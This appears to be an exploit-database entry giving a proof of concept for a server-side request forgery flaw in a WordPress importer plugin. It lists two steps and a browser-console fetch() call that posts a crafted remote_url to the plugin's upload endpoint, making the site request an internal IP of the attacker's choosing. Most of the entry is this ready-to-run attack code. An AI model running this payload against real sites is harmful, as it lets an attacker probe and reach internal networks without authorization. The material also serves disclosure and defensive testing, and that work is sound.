## https://sploitus.com/exploit?id=WPEX-ID:AEEFCC01-BBBF-4D86-9CFD-EA0F9A85E1A5
1. As an admin, create a new importer in /wp-admin/tools.php?page=importwp
2. Visit /wp-admin/admin-ajax.php?action=rest-nonce and paste the following in your browser's console, replace $IMPORTERID with the newly created importer's ID, and $TARGETLOCALIP with the local IP to probe:
fetch('/wp-json/iwp/v1/importer/$IMPORTERID/upload', {
method: 'POST',
headers: {
'X-WP-Nonce': document.body.innerHTML,
'Content-Type': 'application/x-www-form-urlencoded',
},
body: 'remote_url=http%3A%2F%2F$TARGETLOCALIP%2FSSRF_PoC&filetype=csv&action=file_remote',
credentials: 'include'
})
.then(response => response.text())
.then(data => console.log(data))
.catch(error => console.error('Fetch error:', error));